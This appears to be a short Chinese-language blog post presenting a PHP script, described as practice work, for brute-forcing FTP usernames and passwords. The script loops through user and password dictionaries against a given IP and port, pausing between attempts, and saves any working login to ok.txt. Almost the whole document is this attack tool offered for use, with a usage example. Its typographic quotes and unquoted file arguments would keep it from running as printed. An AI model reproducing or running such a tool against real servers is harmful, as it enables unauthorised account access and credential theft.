暴破FTP用戶名和密碼(PHP練手作品)

<?php
//用法:php 本文件.php FTP的IP 端口 用戶字典 密碼字典,示例:php ftp.php 192.168.8.10 21 user.dic pass.dic。可以自己改動sleep裡的秒數,暴破成功後用戶名和密碼保存在同目錄下的ok.txt。



//分別取不同用戶名和N個密碼對應
$user=file($_SERVER[“argv”][3]);
$pass=file($_SERVER[“argv”][4]);
$countuser=count($user);
$countpass=count($pass);
$n=0;
do
{



for($i=0;$i<$countpass;$i=$i+1){
echo “$user[$n],$pass[$i]”;
ftplogin($user[$n],$pass[$i]);//調用ftp函數
sleep(5);//防止ftp宕掉,暫且停5秒
Continue;
    }
     $n++;
     }
while($n<$countuser);


//FTP函數,登陸成功寫入正確用戶名和密碼到本目錄下的ok.txt
function ftplogin($username,$password){
//global $username, $password;
$host=$_SERVER[“argv”][1];
$port=$_SERVER[“argv”][2];
$conn = ftp_connect($host,$port);
if(!$conn){


 echo “無法連FTP”;
    exit;
}
@ $result=ftp_login($conn,$username,$password);
if(!$result){
    echo “error”;
    ftp_quit($conn);
    }
else{
echo “———————————->ok”;
fputs(fopen(ok.txt,a+),”用戶名:”.$username.”密碼:”.$password);
}
}


?>

You May Also Like